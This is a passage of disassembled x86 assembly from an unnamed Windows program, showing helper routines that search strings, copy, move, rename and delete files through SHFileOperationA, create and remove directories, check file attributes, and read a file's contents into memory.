		test	ecx, ecx
		jz	short loc_421A5E
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		movsx	ecx, [ebp+arg_4]
		cmp	eax, ecx
		jnz	short loc_421A53
		mov	eax, [ebp+var_4]
		jmp	short loc_421A61
; ---------------------------------------------------------------------------


loc_421A53:				; CODE XREF: sub_421A20+2Cj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_421A30
; ---------------------------------------------------------------------------


loc_421A5E:				; CODE XREF: sub_421A20+1Bj
		or	eax, 0FFFFFFFFh


loc_421A61:				; CODE XREF: sub_421A20+31j
		mov	esp, ebp
		pop	ebp
		retn	8
sub_421A20	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp-8], ecx
		mov	dword ptr [ebp-4], 0


loc_421A77:				; CODE XREF: TEUm:00421A8Dj
		mov	eax, [ebp+8]
		add	eax, [ebp-4]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_421A8F
		mov	edx, [ebp-4]
		add	edx, 1
		mov	[ebp-4], edx
		jmp	short loc_421A77
; ---------------------------------------------------------------------------


loc_421A8F:				; CODE XREF: TEUm:00421A82j
		mov	eax, [ebp-4]
		sub	eax, 1
		mov	[ebp-4], eax


loc_421A98:				; CODE XREF: TEUm:00421AC4j
		mov	ecx, [ebp+8]
		add	ecx, [ebp-4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_421AC6
		mov	eax, [ebp+8]
		add	eax, [ebp-4]
		movsx	ecx, byte ptr [eax]
		movsx	edx, byte ptr [ebp+0Ch]
		cmp	ecx, edx
		jnz	short loc_421ABB
		mov	eax, [ebp-4]
		jmp	short loc_421AC9
; ---------------------------------------------------------------------------


loc_421ABB:				; CODE XREF: TEUm:00421AB4j
		mov	eax, [ebp-4]
		sub	eax, 1
		mov	[ebp-4], eax
		jmp	short loc_421A98
; ---------------------------------------------------------------------------


loc_421AC6:				; CODE XREF: TEUm:00421AA3j
		or	eax, 0FFFFFFFFh


loc_421AC9:				; CODE XREF: TEUm:00421AB9j
		mov	esp, ebp
		pop	ebp
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421ACF	proc near		; CODE XREF: TEUm:004225F7p
					; sub_4230F8+D8p ...

var_2008	= dword	ptr -2008h
var_2004	= dword	ptr -2004h
var_2000	= byte ptr -2000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, 2008h
		call	sub_431860
		mov	[ebp+var_2008],	ecx
		mov	[ebp+var_2004],	0
		push	2000h
		push	0
		push	offset a8b	; "8B"
		call	sub_4318B2	; memset
		add	esp, 0Ch


loc_421B00:				; CODE XREF: sub_421ACF:loc_421B5Ej
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+arg_8]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_421B60
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+arg_8]
		movsx	eax, byte ptr [edx]
		push	eax
		push	offset dword_43702C
		lea	ecx, [ebp+var_2000]
		push	ecx
		call	dword_4331E4	; sprintf
		add	esp, 0Ch
		lea	edx, [ebp+var_2000]
		push	edx
		push	offset a8b	; "8B"
		call	dword_433074	; lstrcatA
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax
		cmp	[ebp+arg_C], 0
		jle	short loc_421B5E
		mov	ecx, [ebp+arg_C]
		sub	ecx, 1
		mov	[ebp+arg_C], ecx
		cmp	[ebp+arg_C], 0
		jnz	short loc_421B5E
		jmp	short loc_421B60
; ---------------------------------------------------------------------------


loc_421B5E:				; CODE XREF: sub_421ACF+7Cj
					; sub_421ACF+8Bj
		jmp	short loc_421B00
; ---------------------------------------------------------------------------


loc_421B60:				; CODE XREF: sub_421ACF+3Cj
					; sub_421ACF+8Dj
		push	offset a8b	; "8B"
		mov	ecx, [ebp+arg_0]
		call	sub_43178A
		mov	edx, [ebp+var_2004]
		or	edx, 1
		mov	[ebp+var_2004],	edx
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_421ACF	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 230h
		push	edi
		mov	al, ds:byte_439C78
		mov	[ebp-230h], al
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp-22Fh]
		rep stosd
		stosb
		mov	cl, ds:byte_439C7C
		mov	[ebp-108h], cl
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp-107h]
		rep stosd
		stosb
		push	104h
		mov	edx, [ebp+8]
		push	edx
		lea	eax, [ebp-230h]
		push	eax
		call	sub_422680
		add	esp, 0Ch
		push	104h
		mov	ecx, [ebp+0Ch]
		push	ecx
		lea	edx, [ebp-108h]
		push	edx
		call	sub_422680
		add	esp, 0Ch
		lea	eax, [ebp-230h]
		push	eax
		call	sub_4221DB
		add	esp, 4
		cmp	eax, 1
		jnz	short loc_421C24
		push	10000000h
		call	dword_433078	; RtlSetLastWin32Error
		xor	eax, eax
		jmp	short loc_421C8D
; ---------------------------------------------------------------------------


loc_421C24:				; CODE XREF: TEUm:00421C13j
		push	1Eh
		push	0
		lea	ecx, [ebp-128h]
		push	ecx
		call	sub_4318B2	; memset
		add	esp, 0Ch
		lea	edx, [ebp-230h]
		mov	[ebp-120h], edx
		lea	eax, [ebp-108h]
		mov	[ebp-11Ch], eax
		mov	dword ptr [ebp-124h], 2
		mov	word ptr [ebp-118h], 80h
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_421C7B
		mov	cx, [ebp-118h]
		or	cx, 210h
		mov	[ebp-118h], cx


loc_421C7B:				; CODE XREF: TEUm:00421C66j
		lea	edx, [ebp-128h]
		push	edx
		call	dword_433288	; SHFileOperationA
		neg	eax
		sbb	eax, eax
		inc	eax


loc_421C8D:				; CODE XREF: TEUm:00421C22j
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421C92	proc near		; CODE XREF: sub_422C48+18Ep
					; sub_422C48+1F1p ...

var_140		= dword	ptr -140h
var_13C		= byte ptr -13Ch
var_13B		= byte ptr -13Bh
var_34		= byte ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= word ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_421C92
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		sub	esp, 130h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_10], esp
		mov	al, ds:byte_439C80
		mov	[ebp+var_13C], al
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp+var_13B]
		rep stosd
		stosb
		push	104h
		mov	ecx, [ebp+arg_0]
		push	ecx
		lea	edx, [ebp+var_13C]
		push	edx
		call	sub_422680
		add	esp, 0Ch
		lea	eax, [ebp+var_13C]
		push	eax
		call	sub_4221DB
		add	esp, 4
		cmp	eax, 1
		jnz	short loc_421D0D
		push	10000000h
		call	dword_433078	; RtlSetLastWin32Error
		xor	eax, eax
		jmp	short loc_421D79
; ---------------------------------------------------------------------------


loc_421D0D:				; CODE XREF: sub_421C92+6Aj
		push	1Eh
		push	0
		lea	ecx, [ebp+var_34]
		push	ecx
		call	sub_4318B2	; memset
		add	esp, 0Ch
		lea	edx, [ebp+var_13C]
		mov	[ebp+var_2C], edx
		mov	[ebp+var_30], 3
		mov	[ebp+var_24], 694h
		mov	[ebp+var_14], 0FFFFFFFFh
		mov	[ebp+var_4], 0
		push	1Eh
		call	dword_4330E0	; Sleep
		lea	eax, [ebp+var_34]
		push	eax
		call	dword_433288	; SHFileOperationA
		mov	[ebp+var_14], eax
		jmp	short loc_421D69
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+var_140]
		call	sub_431790
		mov	eax, offset loc_421D69
		retn
; ---------------------------------------------------------------------------


loc_421D69:				; CODE XREF: sub_421C92+C4j
					; DATA XREF: sub_421C92+D1o
		mov	[ebp+var_4], 0FFFFFFFFh
		xor	eax, eax
		cmp	[ebp+var_14], 0
		setz	al


loc_421D79:				; CODE XREF: sub_421C92+79j
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_421C92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D8A	proc near		; CODE XREF: sub_422C48+16Dp
					; sub_424606+1B7p ...

var_230		= byte ptr -230h
var_22F		= byte ptr -22Fh
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= word ptr -118h
var_108		= byte ptr -108h
var_107		= byte ptr -107h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 230h
		push	edi
		mov	al, ds:byte_439C84
		mov	[ebp+var_230], al
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp+var_22F]
		rep stosd
		stosb
		mov	cl, ds:byte_439C88
		mov	[ebp+var_108], cl
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp+var_107]
		rep stosd
		stosb
		push	104h
		mov	edx, [ebp+arg_0]
		push	edx
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_422680
		add	esp, 0Ch
		push	104h
		mov	ecx, [ebp+arg_4]
		push	ecx
		lea	edx, [ebp+var_108]
		push	edx
		call	sub_422680
		add	esp, 0Ch
		lea	eax, [ebp+var_230]
		push	eax
		call	sub_4221DB
		add	esp, 4
		cmp	eax, 1
		jnz	short loc_421E1E
		push	10000000h
		call	dword_433078	; RtlSetLastWin32Error
		xor	eax, eax
		jmp	short loc_421E81
; ---------------------------------------------------------------------------


loc_421E1E:				; CODE XREF: sub_421D8A+83j
		push	1Eh
		push	0
		lea	ecx, [ebp+var_128]
		push	ecx
		call	sub_4318B2	; memset
		add	esp, 0Ch
		lea	edx, [ebp+var_230]
		mov	[ebp+var_120], edx
		lea	eax, [ebp+var_108]
		mov	[ebp+var_11C], eax
		mov	[ebp+var_124], 4
		mov	[ebp+var_118], 80h
		mov	cx, [ebp+var_118]
		or	cx, 614h
		mov	[ebp+var_118], cx
		lea	edx, [ebp+var_128]
		push	edx
		call	dword_433288	; SHFileOperationA
		neg	eax
		sbb	eax, eax
		inc	eax


loc_421E81:				; CODE XREF: sub_421D8A+92j
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_421D8A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 230h
		push	edi
		mov	al, ds:byte_439C8C
		mov	[ebp-230h], al
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp-22Fh]
		rep stosd
		stosb
		mov	cl, ds:byte_439C90
		mov	[ebp-108h], cl
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp-107h]
		rep stosd
		stosb
		push	104h
		mov	edx, [ebp+8]
		push	edx
		lea	eax, [ebp-230h]
		push	eax
		call	sub_422680
		add	esp, 0Ch
		push	104h
		mov	ecx, [ebp+0Ch]
		push	ecx
		lea	edx, [ebp-108h]
		push	edx
		call	sub_422680
		add	esp, 0Ch
		push	1Eh
		push	0
		lea	eax, [ebp-128h]
		push	eax
		call	sub_4318B2	; memset
		add	esp, 0Ch
		lea	ecx, [ebp-230h]
		mov	[ebp-120h], ecx
		lea	edx, [ebp-108h]
		mov	[ebp-11Ch], edx
		mov	dword ptr [ebp-124h], 2
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_421F44
		mov	ax, [ebp-118h]
		or	ax, 210h
		mov	[ebp-118h], ax


loc_421F44:				; CODE XREF: TEUm:00421F30j
		lea	ecx, [ebp-128h]
		push	ecx
		call	dword_433288	; SHFileOperationA
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 234h
		push	edi
		mov	al, ds:byte_439C94
		mov	[ebp-234h], al
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp-233h]
		rep stosd
		stosb
		push	104h
		mov	ecx, [ebp+8]
		push	ecx
		lea	edx, [ebp-234h]
		push	edx
		call	sub_422680
		add	esp, 0Ch
		push	1Eh
		push	0
		lea	eax, [ebp-24h]
		push	eax
		call	sub_4318B2	; memset
		add	esp, 0Ch
		lea	ecx, [ebp-234h]
		mov	[ebp-1Ch], ecx
		mov	dword ptr [ebp-20h], 3
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_421FCB
		mov	dx, [ebp-14h]
		or	dx, 210h
		mov	[ebp-14h], dx


loc_421FCB:				; CODE XREF: TEUm:00421FBCj
		mov	al, ds:byte_439C98
		mov	[ebp-12Ch], al
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp-12Bh]
		rep stosd
		lea	ecx, [ebp-12Ch]
		push	ecx
		push	104h
		call	dword_43302C	; GetCurrentDirectoryA
		mov	dword ptr [ebp-4], 1


loc_421FFE:				; CODE XREF: TEUm:00422030j
		cmp	dword ptr [ebp-4], 0
		jz	short loc_422032
		lea	edx, [ebp-234h]
		push	edx
		lea	eax, [ebp-12Ch]
		push	eax
		call	sub_42239F
		add	esp, 8
		test	eax, eax
		jnz	short loc_422032
		lea	ecx, [ebp-12Ch]
		push	ecx
		call	sub_422296
		add	esp, 4
		mov	[ebp-4], eax
		jmp	short loc_421FFE
; ---------------------------------------------------------------------------


loc_422032:				; CODE XREF: TEUm:00422002j
					; TEUm:0042201Cj
		lea	edx, [ebp-24h]
		push	edx
		call	dword_433288	; SHFileOperationA
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 33Ch
		push	edi
		mov	al, ds:byte_439C9C
		mov	[ebp-33Ch], al
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp-33Bh]
		rep stosd
		stosb
		mov	cl, ds:byte_439CA0
		mov	[ebp-108h], cl
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp-107h]
		rep stosd
		stosb
		push	104h
		mov	edx, [ebp+8]
		push	edx
		lea	eax, [ebp-33Ch]
		push	eax
		call	sub_422680
		add	esp, 0Ch
		push	104h
		mov	ecx, [ebp+0Ch]
		push	ecx
		lea	edx, [ebp-108h]
		push	edx
		call	sub_422680
		add	esp, 0Ch
		push	1Eh
		push	0
		lea	eax, [ebp-12Ch]
		push	eax
		call	sub_4318B2	; memset
		add	esp, 0Ch
		lea	ecx, [ebp-33Ch]
		mov	[ebp-124h], ecx
		lea	edx, [ebp-108h]
		mov	[ebp-120h], edx
		mov	dword ptr [ebp-128h], 1
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_422104
		mov	ax, [ebp-11Ch]
		or	ax, 210h
		mov	[ebp-11Ch], ax


loc_422104:				; CODE XREF: TEUm:004220F0j
		mov	cl, ds:byte_439CA4
		mov	[ebp-234h], cl
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp-233h]
		rep stosd
		lea	edx, [ebp-234h]
		push	edx
		push	104h
		call	dword_43302C	; GetCurrentDirectoryA
		mov	dword ptr [ebp-10Ch], 1


loc_42213B:				; CODE XREF: TEUm:00422180j
		cmp	dword ptr [ebp-10Ch], 0
		jz	short loc_422182
		lea	eax, [ebp-33Ch]
		push	eax
		lea	ecx, [ebp-234h]
		push	ecx
		call	sub_42239F
		add	esp, 8
		test	eax, eax
		jnz	short loc_422182
		push	0
		call	sub_422296
		add	esp, 4
		mov	[ebp-10Ch], eax
		lea	edx, [ebp-234h]
		push	edx
		push	104h
		call	dword_43302C	; GetCurrentDirectoryA
		jmp	short loc_42213B
; ---------------------------------------------------------------------------


loc_422182:				; CODE XREF: TEUm:00422142j
					; TEUm:0042215Cj
		lea	eax, [ebp-12Ch]
		push	eax
		call	dword_433288	; SHFileOperationA
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422199	proc near		; CODE XREF: sub_424A2E+Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_433030	; CreateDirectoryA
		pop	ebp
		retn
sub_422199	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	eax
		call	dword_433034	; RemoveDirectoryA
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	dword_433038	; SetFileAttributesA
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	eax
		call	dword_43303C	; GetFileAttributesA
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4221DB	proc near		; CODE XREF: TEUm:00421C08p
					; sub_421C92+5Fp ...

var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 144h
		push	140h
		push	0
		lea	eax, [ebp+var_140]
		push	eax
		call	sub_4318B2	; memset
		add	esp, 0Ch
		lea	ecx, [ebp+var_140]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_433044	; FindFirstFileA
		mov	[ebp+var_144], eax
		cmp	[ebp+var_144], 0FFFFFFFFh
		jnz	short loc_42221E
		xor	eax, eax
		jmp	short loc_422292
; ---------------------------------------------------------------------------


loc_42221E:				; CODE XREF: sub_4221DB+3Dj
		mov	eax, [ebp+var_140]
		or	al, 10h
		cmp	[ebp+var_140], eax
		jnz	short loc_422280


loc_42222E:				; CODE XREF: sub_4221DB:loc_42226Aj
		lea	ecx, [ebp+var_140]
		push	ecx
		mov	edx, [ebp+var_144]
		push	edx
		call	dword_433080	; FindNextFileA
		test	eax, eax
		jz	short loc_42226C
		mov	eax, [ebp+var_140]
		or	al, 10h
		cmp	[ebp+var_140], eax
		jz	short loc_42226A
		mov	ecx, [ebp+var_144]
		push	ecx
		call	dword_43307C	; FindClose
		mov	eax, 2
		jmp	short loc_422292
; ---------------------------------------------------------------------------


loc_42226A:				; CODE XREF: sub_4221DB+79j
		jmp	short loc_42222E
; ---------------------------------------------------------------------------


loc_42226C:				; CODE XREF: sub_4221DB+69j
		mov	edx, [ebp+var_144]
		push	edx
		call	dword_43307C	; FindClose
		mov	eax, 1
		jmp	short loc_422292
; ---------------------------------------------------------------------------


loc_422280:				; CODE XREF: sub_4221DB+51j
		mov	eax, [ebp+var_144]
		push	eax
		call	dword_43307C	; FindClose
		mov	eax, 2


loc_422292:				; CODE XREF: sub_4221DB+41j
					; sub_4221DB+8Dj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4221DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422296	proc near		; CODE XREF: TEUm:00422025p
					; TEUm:00422160p

var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 110h
		push	edi
		mov	al, ds:byte_439CA8
		mov	[ebp+var_10C], al
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [ebp+var_10B]
		rep stosd
		lea	ecx, [ebp+var_10C]
		push	ecx
		push	104h
		call	dword_43302C	; GetCurrentDirectoryA
		lea	edx, [ebp+var_10C]
		push	edx
		call	sub_422435
		add	esp, 4
		movsx	eax, al
		test	eax, eax
		jz	short loc_4222E9
		xor	eax, eax
		jmp	loc_42239A
; ---------------------------------------------------------------------------


loc_4222E9:				; CODE XREF: sub_422296+4Aj
		lea	ecx, [ebp+var_10C]
		push	ecx
		call	sub_4318BE	; strlen
		add	esp, 4
		mov	[ebp+var_110], eax
		mov	edx, [ebp+var_110]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_422315
; ---------------------------------------------------------------------------


loc_42230C:				; CODE XREF: sub_422296:loc_42237Dj
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax


loc_422315:				; CODE XREF: sub_422296+74j
		cmp	[ebp+var_4], 0
		jl	short loc_42237F
		mov	ecx, [ebp+var_4]
		movsx	edx, [ebp+ecx+var_10C]
		cmp	edx, 5Ch
		jnz	short loc_42237D
		mov	eax, [ebp+var_4]
		mov	[ebp+eax+var_10C], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_42234F
		lea	ecx, [ebp+var_10C]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4318B8	; strcpy
		add	esp, 8


loc_42234F:				; CODE XREF: sub_422296+A4j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_422435
		add	esp, 4
		movsx	ecx, al
		test	ecx, ecx
		jz	short loc_422369
		xor	eax, eax
		jmp	short loc_42239A
; ---------------------------------------------------------------------------


loc_422369:				; CODE XREF: sub_422296+CDj
		lea	edx, [ebp+var_10C]
		push	edx
		call	dword_433048	; SetCurrentDirectoryA
		mov	eax, 1
		jmp	short loc_42239A
; ---------------------------------------------------------------------------


loc_42237D:				; CODE XREF: sub_422296+93j
		jmp	short loc_42230C
; ---------------------------------------------------------------------------


loc_42237F:				; CODE XREF: sub_422296+83j
		cmp	[ebp+arg_0], 0
		jz	short loc_422398
		lea	eax, [ebp+var_10C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4318B8	; strcpy
		add	esp, 8


loc_422398:				; CODE XREF: sub_422296+EDj
		xor	eax, eax


loc_42239A:				; CODE XREF: sub_422296+4Ej
					; sub_422296+D1j ...
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_422296	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42239F	proc near		; CODE XREF: TEUm:00422012p
					; TEUm:00422152p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4318BE	; strlen
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_4318BE	; strlen
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_C]
		sub	edx, 1
		cmp	[ebp+var_4], edx
		jb	short loc_4223D3
		xor	eax, eax
		jmp	short loc_422430
; ---------------------------------------------------------------------------


loc_4223D3:				; CODE XREF: sub_42239F+2Ej
		mov	[ebp+var_8], 0
		jmp	short loc_4223E5
; ---------------------------------------------------------------------------


loc_4223DC:				; CODE XREF: sub_42239F:loc_42241Dj
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_4223E5:				; CODE XREF: sub_42239F+3Bj
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+var_4]
		jnb	short loc_42241F
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_8]
		movsx	eax, byte ptr [edx]
		push	eax
		call	dword_4331F4	; toupper
		add	esp, 4
		mov	esi, eax
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_8]
		movsx	edx, byte ptr [ecx]
		push	edx
		call	dword_4331F4	; toupper
		add	esp, 4
		cmp	esi, eax
		jz	short loc_42241D
		xor	eax, eax
		jmp	short loc_422430
; ---------------------------------------------------------------------------


loc_42241D:				; CODE XREF: sub_42239F+78j
		jmp	short loc_4223DC
; ---------------------------------------------------------------------------


loc_42241F:				; CODE XREF: sub_42239F+4Cj
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_8]
		movsx	ecx, byte ptr [eax]
		xor	eax, eax
		cmp	ecx, 5Ch
		setz	al


loc_422430:				; CODE XREF: sub_42239F+32j
					; sub_42239F+7Cj
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_42239F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422435	proc near		; CODE XREF: sub_422296+3Dp
					; sub_422296+C0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4318BE	; strlen
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 2
		jl	short loc_422454
		cmp	[ebp+var_4], 3
		jle	short loc_422458


loc_422454:				; CODE XREF: sub_422435+17j
		xor	al, al
		jmp	short loc_4224B1
; ---------------------------------------------------------------------------


loc_422458:				; CODE XREF: sub_422435+1Dj
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		push	edx
		call	dword_4331F4	; toupper
		add	esp, 4
		cmp	eax, 41h
		jl	short loc_422482
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		push	ecx
		call	dword_4331F4	; toupper
		add	esp, 4
		cmp	eax, 5Ah
		jle	short loc_422486


loc_422482:				; CODE XREF: sub_422435+36j
		xor	al, al
		jmp	short loc_4224B1
; ---------------------------------------------------------------------------


loc_422486:				; CODE XREF: sub_422435+4Bj
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 3Ah
		jz	short loc_422496
		xor	al, al
		jmp	short loc_4224B1
; ---------------------------------------------------------------------------


loc_422496:				; CODE XREF: sub_422435+5Bj
		cmp	[ebp+var_4], 3
		jnz	short loc_4224AC
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx+2]
		cmp	edx, 5Ch
		jz	short loc_4224AC
		xor	al, al
		jmp	short loc_4224B1
; ---------------------------------------------------------------------------


loc_4224AC:				; CODE XREF: sub_422435+65j
					; sub_422435+71j
		mov	eax, [ebp+arg_0]
		mov	al, [eax]


loc_4224B1:				; CODE XREF: sub_422435+21j
					; sub_422435+4Fj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_422435	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4224B5	proc near		; CODE XREF: TEUm:0042257Fp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4331D8	; ftell
		add	esp, 4
		mov	[ebp+var_4], eax
		push	2
		push	0
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4331F0	; fseek
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_4331D8	; ftell
		add	esp, 4
		mov	[ebp+var_8], eax
		push	0
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4331F0	; fseek
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4224B5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_431D8C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		mov	[ebp-34h], ecx
		mov	dword ptr [ebp-30h], 0
		mov	dword ptr [ebp-4], 1
		lea	ecx, [ebp-1Ch]
		call	sub_4317AE
		mov	byte ptr [ebp-4], 2
		mov	dword ptr [ebp-14h], 0
		mov	dword ptr [ebp-18h], 0
		mov	dword ptr [ebp-10h], 0
		push	offset aR_0	; "r"
		lea	ecx, [ebp+0Ch]
		call	sub_4226A0
		push	eax
		call	dword_4331C4	; fopen
		add	esp, 8
		mov	[ebp-24h], eax
		cmp	dword ptr [ebp-24h], 0
		jz	short loc_4225E0
		mov	eax, [ebp-24h]
		push	eax
		mov	ecx, [ebp-34h]
		call	sub_4224B5
		mov	[ebp-14h], eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	dword_4331C8	; malloc
		add	esp, 4
		mov	[ebp-10h], eax
		mov	dword ptr [ebp-28h], 0
		jmp	short loc_4225A9
; ---------------------------------------------------------------------------


loc_4225A0:				; CODE XREF: TEUm:004225BAj
		mov	edx, [ebp-28h]
		add	edx, 1
		mov	[ebp-28h], edx


loc_4225A9:				; CODE XREF: TEUm:0042259Ej
		mov	eax, [ebp-28h]
		cmp	eax, [ebp-14h]
		jge	short loc_4225BC
		mov	ecx, [ebp-10h]
		add	ecx, [ebp-28h]
		mov	byte ptr [ecx],	0Ah
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------


loc_4225BC:				; CODE XREF: TEUm:004225AFj
		mov	edx, [ebp-24h]
		push	edx
		push	1
		mov	eax, [ebp-14h]
		push	eax
		mov	ecx, [ebp-10h]
		push	ecx
		call	dword_433254	; fread
		add	esp, 10h
		mov	edx, [ebp-24h]
		push	edx
		call	dword_4331D0	; fclose
		add	esp, 4


loc_4225E0:				; CODE XREF: TEUm:00422576j
		cmp	dword ptr [ebp-10h], 0
